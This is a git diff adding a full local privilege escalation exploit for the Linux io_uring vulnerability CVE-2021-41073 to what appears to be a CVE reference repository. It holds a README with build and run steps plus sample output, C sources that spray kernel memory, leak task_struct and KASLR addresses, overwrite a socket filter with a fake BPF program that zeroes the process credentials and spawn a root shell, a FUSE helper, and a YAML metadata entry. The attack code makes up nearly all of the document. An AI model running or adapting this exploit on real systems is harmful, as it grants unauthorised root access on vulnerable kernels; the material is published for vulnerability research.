diff --git a/cve/linux-kernel/2021/CVE-2021-41073/README.md b/cve/linux-kernel/2021/CVE-2021-41073/README.md new file mode 100644 index 0000000000000000000000000000000000000000..d92dbe3d0fed14464359da83b15dd41d30c3cf0d --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-41073/README.md @@ -0,0 +1,56 @@ +# Linux_LPE_io_uring_CVE-2021-41073 + +LPE exploit for CVE-2021-41073 io_uring type confusion vulnerability. + +Checkout the writeup [Put an io_uring on it: Exploiting the Linux Kernel](https://www.graplsecurity.com/post/iou-ring-exploiting-the-linux-kernel). + +author: [@chompie1337](https://twitter.com/chompie1337) + + +**For educational/research purposes only. Not for use on testing or security evaulations.** + +To build (requires [liburing](https://github.com/axboe/liburing)): + +``` +gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs` +gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread +``` + +I've provided a [test VM](https://www.dropbox.com/s/lhmpzvhl8mdszc8/test_vm.tar.xz?dl=0) with a 5.15-rc1 kernel for testing/running the exploit. + +To start VM, extract [test_vm archive](https://www.dropbox.com/s/lhmpzvhl8mdszc8/test_vm.tar.xz?dl=0) and run: +``` +qemu-system-x86_64 -m 2G -smp 2 -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic -pidfile vm.pid 2>&1 | tee vm.log +``` + +ssh into the box as unprivileged user: + +```ssh -p 10021 hi@localhost``` +password: lol + +To run: +``` +$ ./exploit +[+] set/getxattr file created +[+] bpf program loaded created +[+] FUSE maps created +[+] opened /proc/self/maps +[+] io_uring initialized +[+] spraying kmalloc-32 cache with io_buffer structs!! +[!] vuln trigger #1 for task_struct leak +[+] task_struct: ffff90740554c4c0 +[!] vuln trigger #2 for KASLR leak +[!] single_next: ffffffffb2064520 +[!] vuln trigger #3 for cache ptr leak +[+] fake bpf_prog: ffff9074056aacb0 +[!] vuln trigger #4 to overwrite socket filter +[+] it worked! have a r00t shell :) +``` + +Sometimes needs 3-4 attempts to get through entire exploit sequence. Reboot the VM after each exploit attempt time. Future work can be done to improve this exploit, techniques are provided in the writeup. Releasing the PoC for the strict purpose of sharing knowledge with other researchers, and those who want to learn about **advanced kernel exploitation**. + +This exploit is a **PROOF OF CONCEPT** for the techniques discussed in the blog post, and achieve local privilege escalation of the Linux Kernel 5.15-rc-1 with default configurations. It is NOT my intent to tailor an exploit and weaponize it to work with every affected version of Linux. I've provided the code to demonstrate most of the discussed techniques, and have created and documented the techniques needed to bypass various mitigations that some distributions may enable in the accompanying blog post. + +The kernel configurations used in the provided testing VM are in the test_vm folder if you'd like to work with a custom built kernel. If you want to contribute, pull requests are welcome :) + +This research was sponsered by [Grapl](https://www.graplsecurity.com/). diff --git a/cve/linux-kernel/2021/CVE-2021-41073/exploit/bpf.c b/cve/linux-kernel/2021/CVE-2021-41073/exploit/bpf.c new file mode 100644 index 0000000000000000000000000000000000000000..31f55e72428651b2426e15c7ce82e543d6bbc10d --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-41073/exploit/bpf.c @@ -0,0 +1,133 @@ +#include +#include +#include +#include +#include +#include + +int socks[2] = {0}; +int prog_fd = -1; + + +int bpf(int cmd, union bpf_attr *attrs) +{ + return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); +} + +int create_map(union bpf_attr* attrs) +{ + int ret = -1; + + ret = bpf(BPF_MAP_CREATE, attrs); + + return ret; +} + +int update_map_element(int map_fd, uint64_t key, void* value, uint64_t flags) +{ + int ret = -1; + + union bpf_attr attr = + { + .map_fd = map_fd, + .key = (uint64_t)&key, + .value = (uint64_t)value, + .flags = flags, + }; + + ret = bpf(BPF_MAP_UPDATE_ELEM, &attr); + + return ret; +} + +int lookup_map_element(int map_fd, uint64_t key, void* value) +{ + int ret = -1; + union bpf_attr attr = + { + .map_fd = map_fd, + .key = (uint64_t)&key, + .value = (uint64_t)value, + }; + + ret = bpf(BPF_MAP_LOOKUP_ELEM, &attr); + + return ret; +} + +int obj_get_info_by_fd(union bpf_attr* attrs) +{ + int ret = -1; + + ret = bpf(BPF_OBJ_GET_INFO_BY_FD, attrs); + + return ret; +} + +int load_bpf_prog(struct bpf_insn* insn, uint32_t cnt) +{ + int ret = -1; + char verifier_log_buff[0x200000] = {0}; + union bpf_attr prog_attrs = + { + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, + .insn_cnt = cnt, + .insns = (uint64_t)insn, + .license = (uint64_t)"", + .log_level = 2, + .log_size = sizeof(verifier_log_buff), + .log_buf = (uint64_t)verifier_log_buff + }; + + if(0 >= prog_fd) + { + prog_fd = bpf(BPF_PROG_LOAD, &prog_attrs); + } + + if(0 > prog_fd) + { + puts(verifier_log_buff); + goto done; + } + + if(0 != socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) + { + goto done; + } + + ret = 0; + +done: + return ret; +} + +int attach_bpf_prog(void) +{ + int ret = -1; + + if(0 != setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(int))) + { + printf("wtf\n"); + goto done; + } + + ret = 0; + +done: + return ret; +} + +int run_bpf_prog(void) +{ + int ret = -1; + + if(0x7 != write(socks[1], "ch0mpie", 0x7)) + { + goto done; + } + + ret = 0; + +done: + return ret; +} \ No newline at end of file diff --git a/cve/linux-kernel/2021/CVE-2021-41073/exploit/exploit.c b/cve/linux-kernel/2021/CVE-2021-41073/exploit/exploit.c new file mode 100644 index 0000000000000000000000000000000000000000..bc300daf8ed996a50905e530019798538e6309bc --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-41073/exploit/exploit.c @@ -0,0 +1,550 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "bpf_defs.h" + +#define PAGESIZE 4096 + +#define BPF_PROG_RUN_OFFSET 0xFE260 + +#define TASK_STRUCT_CRED_OFFSET 0x6E0 +#define CRED_UID_OFFSET 0x4 +#define CRED_EUID_OFFSET 0x14 + + +#include "liburing.h" + + +void* copy_map1 = NULL; +void* copy_map2 = NULL; +void* copy_map3 = NULL; +void* sleep_map1 = NULL; +void* sleep_map2 = NULL; +void* sleep_map3 = NULL; +void* block_map1 = NULL; + +long task_struct_addr = 0; +int* upper_tsk = (int*)&task_struct_addr + 1; +int* lower_tsk = (int*)&task_struct_addr; +long bpf_prog_run32_addr = 0; +long fake_bpf_prog_addr = 0; + +int procmaps_fd = -1; + +struct io_uring ring = {0}; + +int group_id1 = 0x1337; +int group_id2 = 0x333; +char bufs1[4096][0x100] = {0}; +char bufs2[4096][0x100] = {0}; + +pthread_mutex_t lock1 = {0}; +pthread_mutex_t lock2 = {0}; +pthread_mutex_t lock3 = {0}; +pthread_mutex_t lock4 = {0}; +pthread_mutex_t lock5 = {0}; + +int setup_fuse(void) +{ + int ret = -1; + char* cmd = "mkdir -p /tmp/fuse_mount && ./hello /tmp/fuse_mount"; + int fuse_fd1 = -1; + int fuse_fd2 = -1; + int fuse_fd3 = -1; + int fuse_fd4 = -1; + + if(0 != system(cmd)) + { + goto done; + } + + fuse_fd1 = open("/tmp/fuse_mount/task", O_RDWR); + + if(fuse_fd1 < 0) + { + goto done; + } + + copy_map1 = mmap((void*)0x1000, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); + + if(MAP_FAILED == copy_map1) + { + goto done; + } + + sleep_map1 = mmap(copy_map1 + PAGESIZE, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd1, 0); + + if((copy_map1 + PAGESIZE) != sleep_map1) + { + goto done; + } + + fuse_fd2 = open("/tmp/fuse_mount/seqop", O_RDWR); + + if(fuse_fd2 < 0) + { + goto done; + } + + copy_map2 = mmap(sleep_map1 + PAGESIZE, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); + + if(MAP_FAILED == copy_map2) + { + goto done; + } + + sleep_map2 = mmap(copy_map2 + PAGESIZE, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd2, 0); + + if((copy_map2 + PAGESIZE) != sleep_map2) + { + goto done; + } + + fuse_fd3 = open("/tmp/fuse_mount/iobuf", O_RDWR); + + if(fuse_fd3 < 0) + { + goto done; + } + + copy_map3 = mmap(sleep_map2 + PAGESIZE, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); + + if(MAP_FAILED == copy_map3) + { + goto done; + } + + sleep_map3 = mmap(copy_map3 + PAGESIZE, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd3, 0); + + if((copy_map3 + PAGESIZE) != sleep_map3) + { + goto done; + } + + fuse_fd4 = open("/tmp/fuse_mount/bpfprog", O_RDWR); + + if(fuse_fd4 < 0) + { + goto done; + } + + block_map1 = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd4, 0); + + if(MAP_FAILED == block_map1) + { + goto done; + } + + ret = 0; + +done: + return ret; +} + +int setup_bpf(void) +{ + int ret = -1; + + struct bpf_insn insn[] = + { + BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), + BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), + BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), + BPF_MOV64_IMM(BPF_REG_0, 0), + BPF_EXIT_INSN() + }; + + if(0 != load_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]))) + { + printf("[-] failed to load eBPF program!\n"); + goto done; + } + + ret = 0; + +done: + return ret; +} + +void do_setxattr(void* xattr_buf, void* leakbuf, pthread_mutex_t* lock) +{ + pthread_mutex_unlock(lock); + + setxattr("lol.txt", "user.lol", xattr_buf, 32, 0); + getxattr("lol.txt", "user.lol", leakbuf, 32); +} + +long prep_setxattr(long cmd) +{ + long ret = 0; + char* xattr_buf = NULL; + long* retptr = NULL; + long* leakptr = NULL; + pthread_mutex_t* lock = NULL; + long leak[4] = {0}; + + struct bpf_insn exploit[] = + { + BPF_MOV32_IMM(BPF_REG_0, 0), + BPF_MOV32_IMM(BPF_REG_1, *upper_tsk), + BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32), + BPF_MOV32_IMM(BPF_REG_2, *lower_tsk), + BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2), + BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, TASK_STRUCT_CRED_OFFSET), + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_0, CRED_UID_OFFSET), + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_0, CRED_EUID_OFFSET), + BPF_EXIT_INSN() + }; + + switch(cmd) + { + case 0: + xattr_buf = copy_map1 + PAGESIZE - 31; + retptr = &leak[2]; + leakptr = leak; + lock = &lock1; + break; + case 1: + xattr_buf = copy_map2 + PAGESIZE - 31; + retptr = &leak[2]; + leakptr = leak; + lock = &lock2; + break; + case 2: + xattr_buf = copy_map3 + PAGESIZE - 31; + retptr = &leak[1]; + leakptr = leak; + lock = &lock3; + break; + case 3: + xattr_buf = copy_map1; + memcpy(xattr_buf, &bpf_prog_run32_addr, sizeof(long)); + memcpy(xattr_buf + 0x18, &exploit, sizeof(exploit)); + leakptr = block_map1; + lock = &lock3; + break; + case 4: + xattr_buf = copy_map2; + memcpy(xattr_buf, &exploit[1], sizeof(exploit) - sizeof(exploit[0])); + leakptr = block_map1; + lock = &lock3; + break; + case 5: + xattr_buf = copy_map3; + leakptr = block_map1; + memcpy(xattr_buf, &exploit[5], sizeof(exploit) - sizeof(exploit[0])*5); + lock = &lock3; + break; + case 6: + xattr_buf = copy_map3; + leakptr = block_map1; + memcpy(xattr_buf + 0x18, &fake_bpf_prog_addr, sizeof(long)); + lock = &lock4; + break; + } + + do_setxattr(xattr_buf, leakptr, lock); + + return *retptr; +} + +void* do_io_uring(void* blah) +{ + struct io_uring_sqe* sqe = NULL; + struct io_uring_cqe* cqe = NULL; + struct timespec tim = {0}; + cpu_set_t mask = {0}; + tim.tv_nsec = 3001337; + + CPU_ZERO(&mask); + CPU_SET(1, &mask); + sched_setaffinity(0, sizeof(cpu_set_t), &mask); + + pthread_mutex_lock(&lock1); + nanosleep(&tim, NULL); + + sqe = io_uring_get_sqe(&ring); + io_uring_prep_provide_buffers(sqe, bufs2, 0x100, 2, group_id2, 0); + io_uring_submit(&ring); + io_uring_wait_cqe(&ring, &cqe); + io_uring_cqe_seen(&ring, cqe); + + if(0 != io_uring_register_iowq_aff(&ring, sizeof(cpu_set_t), &mask)) + { + fprintf(stderr, "++ register failed: %m\n"); + } + + sqe = io_uring_get_sqe(&ring); + io_uring_prep_read(sqe, procmaps_fd, bufs1[3], 0x20, 0); + io_uring_sqe_set_flags(sqe, IOSQE_BUFFER_SELECT); + sqe->buf_group = group_id1; + io_uring_submit(&ring); + io_uring_wait_cqe(&ring, &cqe); + io_uring_cqe_seen(&ring, cqe); + + pthread_mutex_unlock(&lock1); + pthread_mutex_lock(&lock2); + nanosleep(&tim, NULL); + + sqe = io_uring_get_sqe(&ring); + io_uring_prep_read(sqe, procmaps_fd, bufs1[0], 0x40, 0); + io_uring_sqe_set_flags(sqe, IOSQE_BUFFER_SELECT); + sqe->buf_group = group_id1; + io_uring_submit(&ring); + io_uring_wait_cqe(&ring, &cqe); + io_uring_cqe_seen(&ring, cqe); + + open("/proc/cmdline", O_RDONLY); + + pthread_mutex_lock(&lock3); + nanosleep(&tim, NULL); + + sqe = io_uring_get_sqe(&ring); + io_uring_prep_read(sqe, procmaps_fd, bufs1[0], 0x20, 0); + io_uring_sqe_set_flags(sqe, IOSQE_BUFFER_SELECT); + sqe->buf_group = group_id1; + io_uring_submit(&ring); + io_uring_wait_cqe(&ring, &cqe); + io_uring_cqe_seen(&ring, cqe); + + sqe = io_uring_get_sqe(&ring); + io_uring_prep_provide_buffers(sqe, bufs1, 0x100, 2, group_id1, 0); + io_uring_submit(&ring); + io_uring_wait_cqe(&ring, &cqe); + io_uring_cqe_seen(&ring, cqe); + + pthread_mutex_lock(&lock5); + +} + +void* do_io_uring2(void* blah) +{ + struct io_uring_sqe* sqe = NULL; + struct io_uring_cqe* cqe = NULL; + struct timespec tim = {0}; + cpu_set_t mask = {0}; + tim.tv_nsec = 3001337; + + CPU_ZERO(&mask); + CPU_SET(1, &mask); + sched_setaffinity(0, sizeof(cpu_set_t), &mask); + + nanosleep(&tim, NULL); + pthread_mutex_lock(&lock1); + + sqe = io_uring_get_sqe(&ring); + io_uring_prep_provide_buffers(sqe, bufs2, 0x100, 2, group_id2, 0); + io_uring_submit(&ring); + io_uring_wait_cqe(&ring, &cqe); + io_uring_cqe_seen(&ring, cqe); + + pthread_mutex_lock(&lock4); + + run_bpf_prog(); + + if(0 == getuid()) + { + sleep(1); + printf("[+] it worked! have a r00t shell :)\n"); + system("sh"); + } + +} + +void* setxattr_thread_routine(void* cmd) +{ + struct timespec tim = {0}; + cpu_set_t mask = {0}; + + tim.tv_nsec = 1001337; + + CPU_ZERO(&mask); + CPU_SET(1, &mask); + sched_setaffinity(0, sizeof(cpu_set_t), &mask); + + pthread_mutex_lock(&lock3); + nanosleep(&tim, NULL); + + prep_setxattr((long)cmd); +} + +void create_setxattr_threads(void) +{ + struct timespec tim = {0}; + pthread_t thread1 = {0}; + pthread_t thread2 = {0}; + pthread_t thread3 = {0}; + + tim.tv_nsec = 2001337; + + pthread_create(&thread1, NULL, setxattr_thread_routine, (void*)3); + nanosleep(&tim, NULL); + pthread_create(&thread2, NULL, setxattr_thread_routine, (void*)4); + nanosleep(&tim, NULL); + pthread_create(&thread3, NULL, setxattr_thread_routine, (void*)5); +} + +void create_io_uring_threads(void) +{ + pthread_t thread1 = {0}; + pthread_t thread2 = {0}; + + pthread_create(&thread1, NULL, do_io_uring, NULL); + pthread_create(&thread2, NULL, do_io_uring2, NULL); +} + +int setup(void) +{ + int ret = -1; + int lol_fd = -1; + cpu_set_t mask = {0}; + struct io_uring_params params = {0}; + struct io_uring_sqe* sqe = NULL; + struct io_uring_cqe* cqe = NULL; + + pthread_mutex_lock(&lock1); + pthread_mutex_lock(&lock2); + pthread_mutex_lock(&lock3); + pthread_mutex_lock(&lock4); + pthread_mutex_lock(&lock5); + + lol_fd = open("lol.txt", O_RDWR | O_CREAT, 0666); + + if(lol_fd < 0) + { + printf("[-] failed to create setxattr file!\n"); + goto done; + } + + printf("[+] set/getxattr file created\n"); + + if(0 != setup_bpf()) + { + printf("[-] failed to setup eBPF!\n"); + goto done; + } + + printf("[+] bpf program loaded created\n"); + + if (0 != setup_fuse()) + { + printf("[-] failed to setup FUSE\n"); + goto done; + } + + printf("[+] FUSE maps created\n"); + + CPU_ZERO(&mask); + CPU_SET(1, &mask); + sched_setaffinity(0, sizeof(cpu_set_t), &mask); + + create_io_uring_threads(); + create_setxattr_threads(); + + procmaps_fd = open("/proc/self/maps", O_RDONLY); + + printf("[+] opened /proc/self/maps\n"); + + if(0 > procmaps_fd) + { + printf("[-] failed to open /proc/self/maps!\n"); + goto done; + } + + if(0 != io_uring_queue_init_params(2048, &ring, ¶ms)) + { + printf("[-] failed to initialize io_uring!\n"); + goto done; + } + + printf("[+] io_uring initialized\n"); + + if(0 != io_uring_register_iowq_aff(&ring, sizeof(cpu_set_t), &mask)) + { + fprintf(stderr, "++ register failed: %m\n"); + goto done; + } + + printf("[+] spraying kmalloc-32 cache with io_buffer structs!!\n"); + + sqe = io_uring_get_sqe(&ring); + + io_uring_prep_provide_buffers(sqe, bufs1, 0x100, 1000, group_id1, 3); + io_uring_submit(&ring); + io_uring_wait_cqe(&ring, &cqe); + io_uring_cqe_seen(&ring, cqe); + + if (0 > cqe->res) + { + printf("[-] submit buffers failed!\n"); + goto done; + } + + printf("[!] vuln trigger #1 for task_struct leak\n"); + + task_struct_addr = prep_setxattr(0); + printf("[+] task_struct: %lx\n", task_struct_addr); + + printf("[!] vuln trigger #2 for KASLR leak \n"); + bpf_prog_run32_addr = prep_setxattr(1) - BPF_PROG_RUN_OFFSET; + + printf("[!] single_next: %lx\n", bpf_prog_run32_addr + BPF_PROG_RUN_OFFSET); + + sqe = io_uring_get_sqe(&ring); + io_uring_prep_provide_buffers(sqe, bufs1, 0x100, 1000, group_id1, 0); + io_uring_submit(&ring); + io_uring_wait_cqe(&ring, &cqe); + io_uring_cqe_seen(&ring, cqe); + + printf("[!] vuln trigger #3 for cache ptr leak\n"); + fake_bpf_prog_addr = prep_setxattr(2) + 0x30; + printf("[+] fake bpf_prog: %lx\n", fake_bpf_prog_addr); + + sqe = io_uring_get_sqe(&ring); + + io_uring_prep_provide_buffers(sqe, bufs1, 0x100, 5, group_id1, 0); + io_uring_submit(&ring); + io_uring_wait_cqe(&ring, &cqe); + io_uring_cqe_seen(&ring, cqe); + + attach_bpf_prog(); + + sqe = io_uring_get_sqe(&ring); + io_uring_prep_read(sqe, procmaps_fd, bufs1[0], 0x20, 0); + io_uring_sqe_set_flags(sqe, IOSQE_BUFFER_SELECT); + sqe->buf_group = group_id1; + io_uring_submit(&ring); + io_uring_wait_cqe(&ring, &cqe); + io_uring_cqe_seen(&ring, cqe); + + printf("[!] vuln trigger #4 to overwrite socket filter\n"); + prep_setxattr(6); + +done: + getchar(); + return ret; + +} + +int main(int argc, char **argv) +{ + + if(0 != setup()) + { + printf("[-] setup failed!\n"); + } +} \ No newline at end of file diff --git a/cve/linux-kernel/2021/CVE-2021-41073/exploit/hello.c b/cve/linux-kernel/2021/CVE-2021-41073/exploit/hello.c new file mode 100644 index 0000000000000000000000000000000000000000..03a3da506b2e92b6c5fc0f0bc24ff176b9348a10 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-41073/exploit/hello.c @@ -0,0 +1,107 @@ +/* + FUSE: Filesystem in Userspace + Copyright (C) 2001-2007 Miklos Szeredi + heavily modified by Jann Horn + + Modified by chompie for: + CVE-2021-41073: io_uring type confusion vulnerability + + gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello +*/ + +#define FUSE_USE_VERSION 26 + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static const char* task_path = "/task"; +static const char* seqop_path = "/seqop"; +static const char* iobuf_path = "/iobuf"; +static const char* bpfprog_path = "/bpfprog"; + +int file_size; + +static int hello_getattr(const char *path, struct stat *stbuf) +{ + int res = 0; + memset(stbuf, 0, sizeof(struct stat)); + if (strcmp(path, "/") == 0) { + stbuf->st_mode = S_IFDIR | 0755; + stbuf->st_nlink = 2; + } else if (strcmp(path, task_path) == 0) { + stbuf->st_mode = S_IFREG | 0666; + stbuf->st_nlink = 1; + stbuf->st_size = file_size; + stbuf->st_blocks = 0; + } + else if (strcmp(path, seqop_path) == 0) { + stbuf->st_mode = S_IFREG | 0666; + stbuf->st_nlink = 1; + stbuf->st_size = file_size; + stbuf->st_blocks = 0; + } + else if (strcmp(path, iobuf_path) == 0) { + stbuf->st_mode = S_IFREG | 0666; + stbuf->st_nlink = 1; + stbuf->st_size = file_size; + stbuf->st_blocks = 0; + } + else if (strcmp(path, bpfprog_path) == 0) { + stbuf->st_mode = S_IFREG | 0666; + stbuf->st_nlink = 1; + stbuf->st_size = file_size; + stbuf->st_blocks = 0; + } + else + res = -ENOENT; + return res; +} + +static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { + filler(buf, ".", NULL, 0); + filler(buf, "..", NULL, 0); + return 0; +} + +static int hello_open(const char *path, struct fuse_file_info *fi) { + return 0; +} + +static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) +{ + if(strcmp(path, bpfprog_path) == 0) + { + while(1) + { + sleep(100); + } + } + + for(int i = 0; i < 3; i++) + { + sleep(1); + } + + return size; +} + + +static struct fuse_operations hello_oper = { + .getattr = hello_getattr, + .readdir = hello_readdir, + .open = hello_open, + .read = hello_read +}; + +int main(int argc, char *argv[]) { + file_size = 4096; + return fuse_main(argc, argv, &hello_oper, NULL); +} diff --git a/cve/linux-kernel/2021/CVE-2021-41073/exploit/include/bpf_defs.h b/cve/linux-kernel/2021/CVE-2021-41073/exploit/include/bpf_defs.h new file mode 100644 index 0000000000000000000000000000000000000000..1ebeb42b597886477f9d051f5815e89fe7055b9a --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-41073/exploit/include/bpf_defs.h @@ -0,0 +1,188 @@ +#ifndef _BPF_DEFS_H_ +#define _BPF_DEFS_H_ + + +/* Raw code statement block */ + +#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = CODE, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, /* zero is reserved opcode */ \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +/* Memory load, dst_reg = *(uint *) (src_reg + off16) */ + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Memory store, *(uint *) (dst_reg + off16) = src_reg */ + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */ + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */ + +#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* Short form of mov, dst_reg = imm32 */ + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV32_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* Short form of mov, dst_reg = src_reg */ + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV32_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */ + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */ + +#define BPF_ALU64_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +/* Program exit */ + +#define BPF_ALU32_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_ALU32_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + + +/* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */ +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */ +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) + +// varies from userspace bpf_map_info definition so need to redefine +struct bpf_map_info_kernel +{ + __u32 type; + __u32 id; + __u32 key_size; + __u32 value_size; + __u32 max_entries; + __u32 map_flags; + char name[BPF_OBJ_NAME_LEN]; + __u32 ifindex; + __u32 btf_vmlinux_value_type_id; + __u64 netns_dev; + __u64 netns_ino; + __u32 btf_id; + __u32 btf_key_type_id; + __u32 btf_value_type_id; +} __attribute__((aligned(8))); + + +int create_map(union bpf_attr* map_attrs); +int update_map_element(int map_fd, uint64_t key, void* value, uint64_t flags); +int lookup_map_element(int map_fd, int64_t key, void* pDestBuff); +int obj_get_info_by_fd(union bpf_attr* attrs); +int load_bpf_prog(struct bpf_insn* insn, uint32_t cnt); +int attach_bpf_prog(void); +int run_bpf_prog(void); + +#endif \ No newline at end of file diff --git a/cve/linux-kernel/2021/yaml/CVE-2021-41073.yaml b/cve/linux-kernel/2021/yaml/CVE-2021-41073.yaml new file mode 100644 index 0000000000000000000000000000000000000000..4958e79750beef59e0de0be11cfdf00137bd2be6 --- /dev/null +++ b/cve/linux-kernel/2021/yaml/CVE-2021-41073.yaml @@ -0,0 +1,19 @@ +id: CVE-2021-41073 +source: https://github.com/chompie1337/Linux_LPE_io_uring_CVE-2021-41073 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + Linux内核5.10到5.14.6中的fs/io_uring.c中的loop_rw_iter允许本地用户通过使用IORING_OP_PROVIDE_BUFFERS来触发内核缓冲区的释放来获得特权。 + scope-of-influence: + 5.10 ≤ linux-kernel ≤ 5.14.6 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-41073 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2021-41073 + cwe-id: CWE-269 + cnvd-id: None + kve-id: None + tags: cve2021, 权限提升 \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 1d7ff2aa6bbd2d9e7d29483cb0df2fc3c31909d0..96fe2a2abcddebde00b765417ed1d6e2d12969c3 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml 